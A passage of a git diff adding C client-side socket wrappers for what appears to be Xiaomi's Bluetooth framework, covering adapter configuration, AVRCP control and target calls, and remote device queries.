ins, uint32_t cod) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_device_class.v32 = cod; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_DEVICE_CLASS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +uint32_t bt_adapter_get_device_class(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, 0); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_DEVICE_CLASS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.v32; +} + +bt_status_t bt_adapter_set_io_capability(bt_instance_t* ins, bt_io_capability_t cap) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_io_capability.cap = cap; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_IO_CAPABILITY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_io_capability_t bt_adapter_get_io_capability(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_IO_CAPABILITY_UNKNOW); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_IO_CAPABILITY); + if (status != BT_STATUS_SUCCESS) { + return BT_IO_CAPABILITY_DISPLAYONLY; + } + + return packet.adpt_r.ioc; +} + +bt_status_t bt_adapter_set_inquiry_scan_parameters(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_inquiry_scan_parameters.type = type; + packet.adpt_pl._bt_adapter_set_inquiry_scan_parameters.interval = interval; + packet.adpt_pl._bt_adapter_set_inquiry_scan_parameters.window = window; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_INQUIRY_SCAN_PARAMETERS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_page_scan_parameters(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_page_scan_parameters.type = type; + packet.adpt_pl._bt_adapter_set_page_scan_parameters.interval = interval; + packet.adpt_pl._bt_adapter_set_page_scan_parameters.window = window; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_PAGE_SCAN_PARAMETERS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_debug_mode(bt_instance_t* ins, bt_debug_mode_t mode, uint8_t operation) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_debug_mode.mode = mode; + packet.adpt_pl._bt_adapter_set_debug_mode.operation = operation; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_DEBUG_MODE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_le_io_capability(bt_instance_t* ins, uint32_t le_io_cap) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_le_io_capability.v32 = le_io_cap; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_LE_IO_CAPABILITY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +uint32_t bt_adapter_get_le_io_capability(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, 0); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_LE_IO_CAPABILITY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.v32; +} + +bt_status_t bt_adapter_get_le_address(bt_instance_t* ins, bt_address_t* addr, ble_addr_type_t* type) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_LE_ADDRESS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + if (packet.adpt_r.status == BT_STATUS_SUCCESS) { + *type = packet.adpt_pl._bt_adapter_get_le_address.type; + memcpy(addr, &packet.adpt_pl._bt_adapter_get_le_address.addr, sizeof(*addr)); + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_le_address(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_set_le_address.addr, addr, sizeof(*addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_LE_ADDRESS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_le_identity_address(bt_instance_t* ins, bt_address_t* addr, bool is_public) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_set_le_identity_address.addr, addr, sizeof(*addr)); + packet.adpt_pl._bt_adapter_set_le_identity_address.pub = is_public; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_LE_IDENTITY_ADDRESS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_le_appearance(bt_instance_t* ins, uint16_t appearance) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_le_appearance.v16 = appearance; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_LE_APPEARANCE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +uint16_t bt_adapter_get_le_appearance(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, 0); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_LE_APPEARANCE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.v16; +} + +bt_status_t bt_adapter_le_enable_key_derivation(bt_instance_t* ins, + bool brkey_to_lekey, + bool lekey_to_brkey) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_le_enable_key_derivation.brkey_to_lekey = brkey_to_lekey; + packet.adpt_pl._bt_adapter_le_enable_key_derivation.lekey_to_brkey = lekey_to_brkey; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_LE_ENABLE_KEY_DERIVATION); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_le_add_whitelist(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_le_add_whitelist.addr, addr, sizeof(*addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_LE_ADD_WHITELIST); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_le_remove_whitelist(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.adpt_pl._bt_adapter_le_remove_whitelist.addr, addr, sizeof(*addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_LE_REMOVE_WHITELIST); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_get_bonded_devices(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_get_bonded_devices.transport = transport; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_BONDED_DEVICES); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + *num = packet.adpt_pl._bt_adapter_get_bonded_devices.num; + + if (*num > 0) { + allocator((void**)addr, sizeof(bt_address_t) * *num); + if (*addr == NULL) + return BT_STATUS_NOMEM; + memcpy(*addr, packet.adpt_pl._bt_adapter_get_bonded_devices.addr, + sizeof(bt_address_t) * *num); + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_get_connected_devices(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_get_connected_devices.transport = transport; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_CONNECTED_DEVICES); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + *num = packet.adpt_pl._bt_adapter_get_connected_devices.num; + + if (*num > 0) { + allocator((void**)addr, sizeof(bt_address_t) * *num); + if (*addr == NULL) + return BT_STATUS_NOMEM; + memcpy(*addr, packet.adpt_pl._bt_adapter_get_connected_devices.addr, + sizeof(bt_address_t) * *num); + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_afh_channel_classification(bt_instance_t* ins, uint16_t central_frequency, + uint16_t band_width, uint16_t number) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_afh_channel_classification.central_frequency = central_frequency; + packet.adpt_pl._bt_adapter_set_afh_channel_classification.band_width = band_width; + packet.adpt_pl._bt_adapter_set_afh_channel_classification.number = number; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_AFH_CHANNEL_CLASSFICATION); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_auto_sniff(bt_instance_t* ins, bt_auto_sniff_params_t* params) +{ + return BT_STATUS_NOT_SUPPORTED; +} + +void bt_adapter_disconnect_all_devices(bt_instance_t* ins) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + (void)bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_DISCONNECT_ALL_DEVICES); +} + +bool bt_adapter_is_support_bredr(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_IS_SUPPORT_BREDR); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.bbool; +} + +bool bt_adapter_is_support_le(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_IS_SUPPORT_LE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.bbool; +} + +bool bt_adapter_is_support_leaudio(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_IS_SUPPORT_LEAUDIO); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.bbool; +} diff --git a/framework/socket/bt_avrcp_control.c b/framework/socket/bt_avrcp_control.c new file mode 100644 index 0000000000000000000000000000000000000000..ef05a7c3077872ae20e524cebe507b7134393fbf --- /dev/null +++ b/framework/socket/bt_avrcp_control.c @@ -0,0 +1,186 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "avrcp_control_api" + +#include <stdint.h> + +#include "bt_avrcp_control.h" +#include "bt_socket.h" + +void* bt_avrcp_control_register_callbacks(bt_instance_t* ins, const avrcp_control_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->avrcp_control_callbacks != NULL) { + handle = bt_remote_callbacks_register(ins->avrcp_control_callbacks, NULL, (void*)callbacks); + return handle; + } + + ins->avrcp_control_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + +#ifdef CONFIG_BLUETOOTH_FEATURE + handle = bt_remote_callbacks_register(ins->avrcp_control_callbacks, ins, (void*)callbacks); +#else + handle = bt_remote_callbacks_register(ins->avrcp_control_callbacks, NULL, (void*)callbacks); +#endif + + if (handle == NULL) { + bt_callbacks_list_free(ins->avrcp_control_callbacks); + ins->avrcp_control_callbacks = NULL; + return handle; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CONTROL_REGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.avrcp_control_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->avrcp_control_callbacks); + ins->avrcp_control_callbacks = NULL; + return NULL; + } + + return handle; +} + +bool bt_avrcp_control_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->avrcp_control_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->avrcp_control_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->avrcp_control_callbacks) > 0) { + return true; + } + + cbsl = ins->avrcp_control_callbacks; + ins->avrcp_control_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CONTROL_UNREGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.avrcp_control_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bt_status_t bt_avrcp_control_get_element_attributes(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_control_pl._bt_avrcp_control_get_element_attribute.addr, addr, sizeof(packet.avrcp_control_pl._bt_avrcp_control_get_element_attribute.addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CONTROL_GET_ELEMENT_ATTRIBUTES); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_control_r.status; +} + +bt_status_t bt_avrcp_control_send_passthrough_cmd(bt_instance_t* ins, bt_address_t* addr, uint8_t cmd, uint8_t state) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_control_pl._bt_avrcp_control_send_passthrough_cmd.addr, addr, sizeof(packet.avrcp_control_pl._bt_avrcp_control_send_passthrough_cmd.addr)); + packet.avrcp_control_pl._bt_avrcp_control_send_passthrough_cmd.cmd = cmd; + packet.avrcp_control_pl._bt_avrcp_control_send_passthrough_cmd.state = state; + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CT_SEND_PASSTHROUGH_CMD); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_control_r.status; +} + +bt_status_t bt_avrcp_control_get_unit_info(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_control_pl._bt_avrcp_control_get_unit_info.addr, addr, sizeof(packet.avrcp_control_pl._bt_avrcp_control_get_unit_info.addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CT_GET_UNIT_INFO_CMD); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_control_r.status; +} + +bt_status_t bt_avrcp_control_get_subunit_info(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_control_pl._bt_avrcp_control_get_subunit_info.addr, addr, sizeof(packet.avrcp_control_pl._bt_avrcp_control_get_subunit_info.addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CT_GET_SUBUNIT_INFO_CMD); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_control_r.status; +} + +bt_status_t bt_avrcp_control_get_playback_state(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_control_pl._bt_avrcp_control_get_playback_state.addr, addr, sizeof(packet.avrcp_control_pl._bt_avrcp_control_get_playback_state.addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CT_GET_PLAYBACK_STATE_CMD); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_control_r.status; +} + +bt_status_t bt_avrcp_control_register_notification(bt_instance_t* ins, bt_address_t* addr, uint8_t event, uint32_t interval) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_control_pl._bt_avrcp_control_register_notification.addr, addr, sizeof(packet.avrcp_control_pl._bt_avrcp_control_register_notification.addr)); + packet.avrcp_control_pl._bt_avrcp_control_register_notification.event = event; + packet.avrcp_control_pl._bt_avrcp_control_register_notification.interval = interval; + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_CT_REGISTER_NOTIFICATION_CMD); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_control_r.status; +} \ No newline at end of file diff --git a/framework/socket/bt_avrcp_target.c b/framework/socket/bt_avrcp_target.c new file mode 100644 index 0000000000000000000000000000000000000000..e3e5182e194f9f8d7884efec64846218c6c63233 --- /dev/null +++ b/framework/socket/bt_avrcp_target.c @@ -0,0 +1,116 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "avrcp_target_api" + +#include <stdint.h> + +#include "bt_avrcp_target.h" +#include "bt_socket.h" + +void* bt_avrcp_target_register_callbacks(bt_instance_t* ins, const avrcp_target_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* cookie; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->avrcp_target_callbacks != NULL) { + cookie = bt_remote_callbacks_register(ins->avrcp_target_callbacks, NULL, (void*)callbacks); + return cookie; + } + + ins->avrcp_target_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + cookie = bt_remote_callbacks_register(ins->avrcp_target_callbacks, NULL, (void*)callbacks); + if (cookie == NULL) { + bt_callbacks_list_free(ins->avrcp_target_callbacks); + ins->avrcp_target_callbacks = NULL; + return cookie; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_TARGET_REGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.avrcp_target_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->avrcp_target_callbacks); + ins->avrcp_target_callbacks = NULL; + return NULL; + } + + return cookie; +} + +bool bt_avrcp_target_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->avrcp_target_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->avrcp_target_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->avrcp_target_callbacks) > 0) { + return true; + } + + bt_socket_client_free_callbacks(ins, ins->avrcp_target_callbacks); + ins->avrcp_target_callbacks = NULL; + + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_TARGET_UNREGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.avrcp_target_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bt_status_t bt_avrcp_target_get_play_status_response(bt_instance_t* ins, bt_address_t* addr, avrcp_play_status_t play_status, + uint32_t song_len, uint32_t song_pos) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_target_pl._bt_avrcp_target_get_play_status_response.addr, addr, sizeof(packet.avrcp_target_pl._bt_avrcp_target_get_play_status_response.addr)); + packet.avrcp_target_pl._bt_avrcp_target_get_play_status_response.play_status = play_status; + packet.avrcp_target_pl._bt_avrcp_target_get_play_status_response.song_len = song_len; + packet.avrcp_target_pl._bt_avrcp_target_get_play_status_response.song_pos = song_pos; + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_TARGET_GET_PLAY_STATUS_RESPONSE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_target_r.status; +} + +bt_status_t bt_avrcp_target_play_status_notify(bt_instance_t* ins, bt_address_t* addr, avrcp_play_status_t play_status) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.avrcp_target_pl._bt_avrcp_target_play_status_notify.addr, addr, sizeof(packet.avrcp_target_pl._bt_avrcp_target_play_status_notify.addr)); + packet.avrcp_target_pl._bt_avrcp_target_play_status_notify.play_status = play_status; + status = bt_socket_client_sendrecv(ins, &packet, BT_AVRCP_TARGET_PLAY_STATUS_NOTIFY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.avrcp_target_r.status; +} diff --git a/framework/socket/bt_device.c b/framework/socket/bt_device.c new file mode 100644 index 0000000000000000000000000000000000000000..d461d05eaa7b54043d5d7546dea6cef7249be2eb --- /dev/null +++ b/framework/socket/bt_device.c @@ -0,0 +1,659 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "device.h" + +static int bt_device_send(bt_instance_t* ins, bt_address_t* addr, + bt_message_packet_t* packet, uint32_t code) +{ + memcpy(&packet->devs_pl._bt_device_addr.addr, addr, sizeof(*addr)); + + return bt_socket_client_sendrecv(ins, packet, code); +} + +bt_status_t bt_device_get_identity_address(bt_instance_t* ins, bt_address_t* bd_addr, bt_address_t* id_addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + status = bt_device_send(ins, bd_addr, &packet, BT_DEVICE_GET_IDENTITY_ADDRESS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + if (packet.devs_r.status == BT_STATUS_SUCCESS) { + memcpy(id_addr, &packet.devs_pl._bt_device_addr.addr, sizeof(*id_addr)); + } + + return packet.devs_r.status; +} + +ble_addr_type_t bt_device_get_address_type(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_LE_ADDR_TYPE_UNKNOWN); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_GET_ADDRESS_TYPE); + if (status != BT_STATUS_SUCCESS) { + return BT_LE_ADDR_TYPE_UNKNOWN; + } + + return packet.devs_r.atype; +} + +bt_device_type_t bt_device_get_device_type(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_DEVICE_TYPE_UNKNOW); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_GET_DEVICE_TYPE); + if (status != BT_STATUS_SUCCESS) { + return BT_DEVICE_TYPE_UNKNOW; + } + + return packet.devs_r.dtype; +} + +bool bt_device_get_name(bt_instance_t* ins, bt_address_t* addr, char* name, uint32_t length) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + memcpy(&packet.devs_pl._bt_device_get_name.addr, addr, sizeof(*addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_GET_NAME); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + char* nr = packet.devs_pl._bt_device_get_name.name; + int len = (strlen(nr) > length) ? length : strlen(nr); + memcpy(name, nr, len); + + return packet.devs_r.bbool; +} + +uint32_t bt_device_get_device_class(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, 0); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_GET_DEVICE_CLASS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.v32; +} + +bt_status_t bt_device_get_uuids(bt_instance_t* ins, bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_get_uuids.addr, addr, sizeof(*addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_GET_UUIDS); + if (status != BT_STATUS_SUCCESS) + return status; + + *size = packet.devs_pl._bt_device_get_uuids.size; + + if (*size > 0) { + *uuids = calloc(*size, sizeof(bt_uuid_t)); + if (*uuids == NULL) + return BT_STATUS_NOMEM; + memcpy(*uuids, packet.devs_pl._bt_device_get_uuids.uuids, sizeof(bt_uuid_t) * *size); + } + + return packet.devs_r.status; +} + +uint16_t bt_device_get_appearance(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, 0); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_GET_APPEARANCE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.v16; +} + +int8_t bt_device_get_rssi(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, 0); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_GET_RSSI); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.v8; +} + +bool bt_device_get_alias(bt_instance_t* ins, bt_address_t* addr, char* alias, uint32_t length) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + memcpy(&packet.devs_pl._bt_device_get_alias.addr, addr, sizeof(*addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_GET_ALIAS); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + strlcpy(alias, packet.devs_pl._bt_device_get_alias.alias, + MIN(length, sizeof(packet.devs_pl._bt_device_get_alias.alias))); + + return packet.devs_r.status; +} + +bt_status_t bt_device_set_alias(bt_instance_t* ins, bt_address_t* addr, const char* alias) +{ + bt_message_packet_t packet = { 0 }; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_set_alias.addr, addr, sizeof(*addr)); + strncpy(packet.devs_pl._bt_device_set_alias.alias, alias, + sizeof(packet.devs_pl._bt_device_set_alias.alias) - 1); + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_ALIAS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bool bt_device_is_connected(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + packet.devs_pl._bt_device_is_connected.transport = transport; + status = bt_device_send(ins, addr, &packet, BT_DEVICE_IS_CONNECTED); + if (status != BT_STATUS_SUCCESS) { 